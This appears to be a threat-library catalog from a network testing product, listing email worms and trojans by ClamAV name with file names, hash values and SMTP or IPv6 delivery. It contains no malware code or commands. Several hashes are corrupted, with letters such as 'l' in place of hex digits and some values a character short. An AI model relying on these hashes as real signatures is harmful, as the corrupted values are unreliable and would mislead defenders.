Detailed Description:	This is the email virus Email-Worm.VBS.Falckon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Falckon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Likun.c.cc02d935_IPv6.xml
Executive Description:	Email Virus Worm.Likun.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc02d93546cb972bd4708eb7ed140644. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.3879d6af.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3879d6afaa4b04falbb3a60387297ac5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Forgotten.5d5a377d.xml
Executive Description:	Email Virus Worm.Forgotten
Detailed Description:	This is the email virus Worm.Forgotten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d5a377dda72e00fd7f046db950602aa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.F.5d9a4018.xml
Executive Description:	Email Virus Worm.Wozer.F
Detailed Description:	This is the email virus Worm.Wozer.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d9a401831af2a478c37b4764a95de3c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.690a27dd.xml
Executive Description:	Email Virus Worm.Gaggl
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 690a27dd18e7bc46aadbb5ffal27e97e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Breeder.caeb734b.xml
Executive Description:	Email Virus Worm.VBS.Breeder
Detailed Description:	This is the email virus Worm.VBS.Breeder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: caeb734b79391ce53f654951db868efc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gong.4e56c693.xml
Executive Description:	Email Virus Worm.Gong
Detailed Description:	This is the email virus Worm.Gong as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e56c6937f041279bc4d8308d6fe6bc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Plexus.B.4e4f8808_IPv6.xml
Executive Description:	Email Virus Worm.Plexus.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Plexus.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4e4f880828f3cdfef6b8aab654aa6361. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.mal.24b79b36.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.mal
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.mal as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.mal. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Q.04871d17_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04871d17dbbd1911afc76aad6d9dbd20. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Iwing.b.d6de7cb9.xml
Executive Description:	Email Virus Worm.Iwing.b
Detailed Description:	This is the email virus Worm.Iwing.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6de7cb913d97adb828a3e18097083ee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VWS.e280eb68_IPv6.xml
Executive Description:	Email Virus Worm.VWS (IPv6 Version)
Detailed Description:	This is the email virus Worm.VWS as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e280eb68f84f62a09e74adad7bc8619b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	MIRC.IRC.Mill.3.09f39e9a.xml
Executive Description:	Email Virus MIRC.IRC.Mill.3
Detailed Description:	This is the email virus MIRC.IRC.Mill.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09f39e9a90a97f01a4387fa8a6044167. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Decbel.4ab4ae3f_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Decbel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Decbel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ab4ae3fa8a5f6ad2edf81b59bf7ea6b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.d.d.594df4aa.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Luna.C.d4784029_IPv6.xml
Executive Description:	Email Virus Worm.Luna.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d478402929eb228478414de8d78e5cd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AJ.fd34b68a.xml
Executive Description:	Email Virus Worm.LoveLetter.AJ
Detailed Description:	This is the email virus Worm.LoveLetter.AJ as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd34b68aaf798a001cd6ea0d86a70954. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trilissa.e.969548bd_IPv6.xml
Executive Description:	Email Virus Worm.Trilissa.e (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trilissa.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 969548bd4ddd0e029fc2b5e7f99e4af. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.419a92b5_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 419a92b58266b079e6f36bc2a541e484. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AU.6e96df83_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AU (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AU as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e96df8304807fb4238f0f698fd96157. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nevezed.a0ca0ce0_IPv6.xml
Executive Description:	Email Virus Worm.Nevezed (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nevezed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0ca0ce029d4c94c95a8b96ec040734d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.n.n.7df75dlc.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.n.n
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.n.n as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.n.n. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.3d3b062a_IPv6.xml
Executive Description:	Email Virus VBS.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d3b062a999e5355e0ca86d89a933b3f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.d.d.26a3ca35.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.333fd91e.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 333fd91ed4597e4435ef7902dc846422. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lassorm.06e877cf_IPv6.xml
Executive Description:	Email Virus Worm.Lassorm (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lassorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e877cfdb0f6f75e0dlcec7fb975791. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.36d7db58.xml
Executive Description:	Email Virus Worm.MyPics.a
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d7db58cla839cd7929100aaf489ae7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Turmol.doc.3b9cbb48.xml
Executive Description:	Email Virus Email-Worm.MSWord.Turmol.doc
Detailed Description:	This is the email virus Email-Worm.MSWord.Turmol.doc as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Turmol.doc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.H.47cc271e_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.H (IPv6 Version)

Detailed Description:	This is the email virus Worm.Mydoom.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47cc271e765e6cdf0562e692ce805b35. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newapt.f.f.03ab6973_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Newapt.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Newapt.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newapt.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.61af70c0.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 61af70c0b33fe7bd39e8da0a8bf6711d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Hetrad.06ad57e7.xml
Executive Description:	Email Virus Worm.IRC.Hetrad
Detailed Description:	This is the email virus Worm.IRC.Hetrad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06ad57e772c53c43c0c5e06e8465534e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Azag.A.b8c4adfa_IPv6.xml
Executive Description:	Email Virus Worm.Azag.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Azag.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b8c4adfabd673dafa097c2leff75e840. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.d2f827d0_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2f827d06adf956ba38c626d492a13b6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.P.3018e998.xml
Executive Description:	Email Virus Worm.SomeFool.P
Detailed Description:	This is the email virus Worm.SomeFool.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3018e99857f31a59e0777396ae634a8f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.002.207169bb_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.002 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.002 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207169bb3935c53060ce8b4f3f39943a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Zsyang.77a8e4b5_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Zsyang (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Zsyang as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77a8e4b5cb536ecc48935da9f9a9b992. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.f98ebfc2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f98ebfc238698fa3fe70a62731c267d6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.k.k.681a08e6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.75ac02ae_IPv6.xml

Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75ac02ael434f73b37736c3e2f62c9d5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Loding.b.5f196b52.xml
Executive Description:	Email Virus Worm.Loding.b
Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f196b528a0f06e00f46432c0b051858. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.05cb6600.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05cb660040a843fa2c5602f51fd9efa4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.690a27dd_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 690a27dd18e7bc46aadb5ffa127e97e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Timofonica.C.97537e23_IPv6.xml
Executive Description:	Email Virus Worm.Timofonica.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Timofonica.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97537e239b95c8ba7828a5742414ddb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Energy.E.d377a5dd.xml
Executive Description:	Email Virus Worm.Energy.E
Detailed Description:	This is the email virus Worm.Energy.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d377a5dd8afb394230be70409238f72a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.W.fl69c212.xml
Executive Description:	Email Virus Worm.Mydoom.W
Detailed Description:	This is the email virus Worm.Mydoom.W as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fl69c212b9eb77979df00bddell6b400. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.6f1214c6.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f1214c65da19a5b189cd37cbc2417e9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stina.sti.3d6294c8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Stina.sti (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Stina.sti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stina.sti. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Junkboat.a.5a0cd5c3_IPv6.xml
Executive Description:	Email Virus Worm.Junkboat.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Junkboat.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a0cd5c3a3477fbddl6a460da684alad. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Gigger.gig.afae28cc_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Gigger.gig (IPv6 Version)
Detailed Description:	This is the email virus Worm.JS.Gigger.gig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Gigger.gig. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.SSIWG.3fb67d40.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fb67d40f9a80799ef41fb5a849c7001. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gift.B.d6dd0e68_IPv6.xml
Executive Description:	Email Virus Worm.Gift.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gift.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6dd0e682d5aa648b9ab1f91b0d5a3c0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Famster.c7a088c2_IPv6.xml
Executive Description:	Email Virus Worm.Famster (IPv6 Version)
Detailed Description:	This is the email virus Worm.Famster as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c7a088c24b2fd20f7c05ba836a27f3ee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.62154693.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 621546937af4b6346e251822fd481634. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.O.2.0a65e532_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.O.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.O.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a65e53245bf47984a0bebacce80e8a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.a.a.333bd791.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Fix2001.d2a5f4b7_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Fix2001 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Fix2001 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2a5f4b769de0f89d591fd0505b6e584. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sdan.a.04443ed5.xml
Executive Description:	Email Virus Worm.Sdan.a
Detailed Description:	This is the email virus Worm.Sdan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04443ed574905855d43c4251094845e5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.f.f.95109868_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kouds.9e3c3be6.xml
Executive Description:	Email Virus Worm.Kouds
Detailed Description:	This is the email virus Worm.Kouds as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e3c3be6975be786559522e44378f607. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.92921e24.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 92921e24c9efc5ea8f8e95717615adfc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bagle.BA-RAR.179ffe50.xml
Executive Description:	Email Virus Worm.Bagle.BA-RAR
Detailed Description:	This is the email virus Worm.Bagle.BA-RAR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 179ffe50ed0f5f5a5ff8b5f8116c0f8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wlymak.bb427fa6_IPv6.xml
Executive Description:	Email Virus Worm.Wlymak (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wlymak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb427fa6d723a91b522ad5828350dc60. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Brit.i.i.e1dd3520.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.i.i
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Desor.1b17ce5b_IPv6.xml
Executive Description:	Email Virus Worm.Desor (IPv6 Version)
Detailed Description:	This is the email virus Worm.Desor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b17ce5bb62a97e7fc29a78af4031dfc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.038c9db8.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 038c9db8159da91bf0c8dea72618b10a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Scaline.A.566740df_IPv6.xml
Executive Description:	Email Virus Worm.Scaline.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Scaline.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 566740df1c100a274ba2152c4d86dc46. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.95bfa05c.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95bfa05cb28ccd2bc9218505146d0b39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BritneyPic.1.abd315d3.xml
Executive Description:	Email Virus Worm.BritneyPic.1
Detailed Description:	This is the email virus Worm.BritneyPic.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abd315d3366a7d4ad37a4943939aa9cb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IFeel.15ec2d19_IPv6.xml
Executive Description:	Email Virus Worm.IFeel (IPv6 Version)
Detailed Description:	This is the email virus Worm.IFeel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15ec2d19865215727bfbcff39be6382f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Pereban.b.b.336b2f0f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Pereban.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Pereban.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Pereban.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.89031853.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89031853f1bce576777349bde1754879. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Jerm.a.233665c4.xml
Executive Description:	Email Virus Worm.Jerm.a
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 233665c4f4c7ef0b39663035a1fad118. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5daf5119.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5daf51197603fd21dc21d0d609b189e2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.9e4df818_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e4df8189d3cbf9d5d0f627db41d97fb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Revelation.dcfdc527_IPv6.xml
Executive Description:	Email Virus Trojan.Revelation (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Revelation as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dcfdc527bc9c1c823870c943608dfb4d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Celebit.c.c.cdac47ac_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Celebit.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Celebit.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Celebit.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DK.086805a8.xml
Executive Description:	Email Virus Worm.LoveLetter.DK
